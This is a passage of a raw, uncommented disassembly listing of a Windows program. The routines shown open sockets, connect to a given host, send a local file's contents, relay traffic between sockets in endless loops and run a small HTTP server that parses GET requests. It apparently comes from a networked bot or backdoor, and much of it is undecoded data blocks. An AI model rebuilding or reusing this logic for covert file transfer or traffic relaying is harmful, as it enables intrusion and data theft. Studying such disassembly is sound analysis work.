		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431410[eax]
		push	ebx
		lea	eax, dword_431410[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------

loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh

loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax

loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCB4
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCB0
		nop
		call	near ptr 26F0000h
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCA4
		call	near ptr 2700000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCB4
		call	dword_4CAFC4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h
		dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	0B00815FFh, 0B4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh
		dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h
		dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 20D5E890h, 0FF500230h, 4CDCA835h, 20C9E800h,	50900230h
		dd 19E6E890h, 458D0230h, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 43350Ch, 22E89057h, 8D022526h
		dd 5750E845h, 0E4B86857h, 458D0040h, 0E85057F4h, 22719ACh
		dd 0EC458990h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1992E890h, 0FF6A0227h, 0FFF04589h, 85E8D875h, 90022819h
		dd 0F075FF57h, 218CE890h, 0FF570228h, 0E890EC75h, 2282182h
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22F253Ch
		dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh
		dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCBC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4CAFF4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
		dd 858B022Dh, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h
		dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF08h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 2D17EBE8h, 0FE689002h, 530000FFh, 9E63E8h, 0BCA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h
		dd 75C63B00h, 815FF54h,	33004CAFh, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 90565959h, 2D176FE8h, 57056A02h, 0AF9C15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2D166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h,	37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h,	716A2B36h
		dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h,	716A5482h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 83E8570Ah, 90716A73h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h
		dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
		dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh,	56000004h
		dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh,	527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 0E857FFFFh, 716A2EA5h, 3D4E990h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 4337CCh, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h
		dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh
		dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h
		dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	43375Ch
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	43373Ch
		dd 2F1E957h, 34BF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43371C68h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h
		dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h
		dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh
		dd 50004336h, 0D307E8h,	0C0855900h, 6A2A7559h, 36B0BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 43366Ch, 0CA2CE850h,	0C4830000h, 1D6A5618h, 43364C68h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 43364468h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 4335FCh, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h
		dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CDCC8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h

loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1AF4h
		push	1
		call	near ptr 2670EA1h
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi

loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax

loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAF74
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEBC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB010
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF5C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE60
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]

loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A

loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB00C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]

loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]

loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5

loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6

loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA2C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------

loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43381C ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9

loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]

loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]

loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414

loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]

loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB00C

loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------

loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4337F4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h

loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
